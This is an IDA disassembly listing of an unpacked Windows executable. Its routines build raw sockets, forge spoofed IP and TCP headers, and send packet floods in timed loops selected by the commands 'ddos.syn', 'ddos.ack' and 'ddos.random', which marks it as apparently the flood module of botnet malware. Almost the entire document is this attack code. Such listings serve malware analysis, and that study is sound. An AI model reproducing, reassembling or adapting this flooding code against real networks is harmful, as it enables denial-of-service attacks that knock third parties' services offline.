;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : D46FECD7910F9A1F10165C4E124038EF
; File Name : u:\work\d46fecd7910f9a1f10165c4e124038ef_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0006D000 ( 446464.)
; Section size in file : 0006D000 ( 446464.)
; Offset to raw data for section: 00001000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 401000h
assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near ; DATA XREF: sub_40CD3A+383Co
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_42104C ; GetTickCount
push eax
call sub_415368
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4013E8
push eax
lea eax, [ebp+var_494]
push offset unk_423050
push eax
call sub_415316
xor esi, esi
add esp, 20h
cmp [ebp+var_8], esi
jnz short loc_401090
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_412BD1
add esp, 14h
loc_401090: ; CODE XREF: start+6Ej
lea eax, [ebp+var_494]
push eax
call sub_40B078
push [ebp+var_290]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
start endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4010B2 proc near ; CODE XREF: sub_4013E8+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43C99C ; WSAStartup
test eax, eax
jz short loc_4010F2
xor eax, eax
jmp loc_4013BB
; ---------------------------------------------------------------------------
loc_4010F2: ; CODE XREF: sub_4010B2+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43CAC8 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4013B3
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_43CA04 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4013A9
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_43CA24 ; ntohs
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_43CA24 ; ntohs
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_43CA24 ; ntohs
mov [ebp+var_12], ax
call sub_415372
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_43CA24 ; ntohs
push 12345678h
mov [ebp+var_14], ax
call dword_43CA20 ; ntohl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4011C2
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011C2: ; CODE XREF: sub_4010B2+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_4011DE
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_401216
; ---------------------------------------------------------------------------
loc_4011DE: ; CODE XREF: sub_4010B2+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_401216
call sub_415372
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_415372
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_401216: ; CODE XREF: sub_4010B2+10Ej
; sub_4010B2+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_43CA24 ; ntohs
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_421054 ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call dword_421050 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_4157C0
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_401264: ; CODE XREF: sub_4010B2+2E2j
; sub_4010B2+2EEj
mov [ebp+var_4], bx
call sub_415372
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43CA24 ; ntohs
mov [ebp+var_14], ax
call sub_415372
mov edi, eax
shl edi, 10h
call sub_415372
or edi, eax
push edi
call dword_43CA24 ; ntohs
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43CA20 ; ntohl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43CA24 ; ntohs
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_4153F0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A0E3
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_415390
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A0E3
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_43CA88 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4013BF
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_421050 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4013A6
jl loc_401264
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jb loc_401264
loc_4013A6: ; CODE XREF: sub_4010B2+2E0j
mov ebx, [ebp+arg_8]
loc_4013A9: ; CODE XREF: sub_4010B2+78j
; sub_4010B2+334j
push [ebp+var_20]
call dword_43CABC ; closesocket
pop esi
loc_4013B3: ; CODE XREF: sub_4010B2+5Bj
call dword_43C984 ; WSACleanup
mov eax, ebx
loc_4013BB: ; CODE XREF: sub_4010B2+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4013BF: ; CODE XREF: sub_4010B2+2CBj
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset unk_42308C
push eax
call sub_415316
lea eax, [ebp+var_F4]
push eax
call sub_40B078
add esp, 10h
jmp short loc_4013A9
sub_4010B2 endp
; =============== S U B R O U T I N E =======================================
sub_4013E8 proc near ; CODE XREF: start+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_409F7A
push [esp+10h+arg_4]
mov esi, eax
call sub_41587F
push [esp+14h+arg_C]
mov ebx, eax
call sub_41587F
mov edi, eax
call sub_415372
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4010B2
add esp, 20h
test eax, eax
jnz short loc_401435
inc eax
loc_401435: ; CODE XREF: sub_4013E8+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4013E8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401444 proc near ; DATA XREF: sub_40CD3A+3A2Fo
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_1BC]
push 0FFh
inc ebx
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_43CAA4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4014DF
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_423238
push eax
loc_401493: ; DATA XREF: .text:off_424D90o
; .text:off_425D58o
call sub_415316
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_4014C2
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_4014C2: ; CODE XREF: sub_401444+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_4014DF: ; CODE XREF: sub_401444+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_43CA04 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_401556
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_4231E8
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_401539
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_401539: ; CODE XREF: sub_401444+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_401556: ; CODE XREF: sub_401444+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_43CA64 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_4015BD
lea eax, [ebp+var_3BC]
push offset unk_4231B4
push eax
call sub_415316
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_4015A0
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_4015A0: ; CODE XREF: sub_401444+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_4015BD: ; CODE XREF: sub_401444+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_43CA24 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_43CA64 ; inet_addr
mov esi, dword_42104C
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
jmp loc_40171E
; ---------------------------------------------------------------------------
loc_401600: ; CODE XREF: sub_401444+2EBj
push 41Ch
mov byte_43B238, 45h
call dword_43CA24 ; ntohs
cmp [ebp+var_2C], edi
mov word_43B23A, ax
mov word_43B23C, bx
mov word_43B23E, di
mov byte_43B240, 80h
mov byte_43B241, bl
mov word_43B242, di
jz short loc_40166F
call sub_415372
mov ebx, eax
shl ebx, 8
call sub_415372
add ebx, eax
shl ebx, 8
call sub_415372
add ebx, eax
shl ebx, 8
call sub_415372
add ebx, eax
mov dword_43B244, ebx
xor ebx, ebx
inc ebx
jmp short loc_401687
; ---------------------------------------------------------------------------
loc_40166F: ; CODE XREF: sub_401444+1F9j
push [ebp+var_1BC]
call sub_40A08A
pop ecx
push eax
call dword_43CA64 ; inet_addr
mov dword_43B244, eax
loc_401687: ; CODE XREF: sub_401444+229j
mov eax, [ebp+var_18]
mov dword_43B248, eax
call sub_415372
cdq
mov ecx, 100h
idiv ecx
mov byte_43B24C, dl
call sub_415372
cdq
mov ecx, 100h
idiv ecx
mov byte_43B24D, dl
call sub_415372
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_43B24E, di
mov word_43B252, bx
inc edx
mov word_43B250, dx
call sub_415372
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_43B254
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_43B238
push [ebp+var_4]
call dword_43CA88 ; sendto
cmp eax, 0FFFFFFFFh
jz loc_4017BA
inc [ebp+arg_0]
loc_40171E: ; CODE XREF: sub_401444+1B7j
call esi ; GetTickCount
sub eax, [ebp+var_8]
mov ecx, 3E8h
xor edx, edx
div ecx
cmp eax, [ebp+var_30]
jbe loc_401600
push [ebp+var_4]
call dword_43CABC ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_423150
push eax
call sub_415316
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_40179D
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_40179D: ; CODE XREF: sub_401444+337j
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
loc_4017BA: ; CODE XREF: sub_401444+2D1j
push [ebp+var_4]
call dword_43CABC ; closesocket
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_4230E8
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41588A
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_401812
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_412BD1
add esp, 14h
loc_401812: ; CODE XREF: sub_401444+3ACj
lea eax, [ebp+var_3BC]
push eax
call sub_40B078
push [ebp+var_38]
call sub_4150F0
pop ecx
pop ecx
push edi
call dword_421048 ; ExitThread
sub_401444 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40182F proc near ; DATA XREF: sub_40CD3A+372Do
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_401B7C
push eax
lea eax, [ebp+var_414]
push offset dword_423280
push eax
call sub_415316
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_4018AC
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_412BD1
add esp, 14h
loc_4018AC: ; CODE XREF: sub_40182F+5Bj
lea eax, [ebp+var_414]
push eax
call sub_40B078
push [ebp+var_10]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_40182F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4018CB proc near ; CODE XREF: sub_401B7C+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_43C99C ; WSAStartup
test eax, eax
jz short loc_40190B
xor eax, eax
jmp loc_401B4F
; ---------------------------------------------------------------------------
loc_40190B: ; CODE XREF: sub_4018CB+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_43CAC8 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_401B47
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_43CA04 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_401B3D
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_43CA24 ; ntohs
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_43CA24 ; ntohs
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_43CA24 ; ntohs
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_43CA24 ; ntohs
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_421054 ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_421050 ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_4157C0
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_4019F6: ; CODE XREF: sub_4018CB+25Dj
; sub_4018CB+269j
mov [ebp+var_24], bx
call sub_415372
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_43CA24 ; ntohs
mov [ebp+var_34], ax
call sub_415372
mov edi, eax
shl edi, 10h
call sub_415372
or edi, eax
push edi
call dword_43CA24 ; ntohs
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_43CA20 ; ntohl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_43CA24 ; ntohs
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_4153F0
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40A0E3
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_415390
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40A0E3
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_4153F0
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_43CA88 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_401B53
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_421050 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_401B3A
jl loc_4019F6
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jb loc_4019F6
loc_401B3A: ; CODE XREF: sub_4018CB+25Bj
mov ebx, [ebp+arg_8]
loc_401B3D: ; CODE XREF: sub_4018CB+78j
; sub_4018CB+2AFj
push [ebp+var_C]
call dword_43CABC ; closesocket
pop esi
loc_401B47: ; CODE XREF: sub_4018CB+5Bj
call dword_43C984 ; WSACleanup
mov eax, ebx
loc_401B4F: ; CODE XREF: sub_4018CB+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401B53: ; CODE XREF: sub_4018CB+247j
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_4232BC
push eax
call sub_415316
lea eax, [ebp+var_F4]
push eax
call sub_40B078
add esp, 10h
jmp short loc_401B3D
sub_4018CB endp
; =============== S U B R O U T I N E =======================================
sub_401B7C proc near ; CODE XREF: sub_40182F+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_409F7A
push [esp+10h+arg_4]
mov esi, eax
call sub_41587F
push [esp+14h+arg_8]
mov ebx, eax
call sub_41587F
mov edi, eax
call sub_415372
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_4018CB
add esp, 1Ch
test eax, eax
jnz short loc_401BC5
inc eax
loc_401BC5: ; CODE XREF: sub_401B7C+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401B7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401BD4 proc near ; DATA XREF: sub_40CD3A+2B63o
var_440 = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
var_1BC = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
xor esi, esi
push 0Eh
inc esi
xor ebx, ebx
mov [eax+19Ch], esi
pop ecx
xor eax, eax
lea edi, [ebp+var_9F]
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, dword_42104C
call edi ; GetTickCount
push eax
call sub_415368
pop ecx
push 0FFh
push 3
push 2
call dword_43CAA4 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401C9D
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset dword_423450
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401C7D
push ebx
lea eax, [ebp+var_440]
push [ebp+var_AC]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_240]
call sub_412BD1
add esp, 14h
loc_401C7D: ; CODE XREF: sub_401BD4+84j
lea eax, [ebp+var_440]
push eax
call sub_40B078
push [ebp+var_BC]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_401C9D: ; CODE XREF: sub_401BD4+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_43CA04 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_401D1B
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_440]
push offset dword_423400
push eax
call sub_415316
add esp, 0Ch
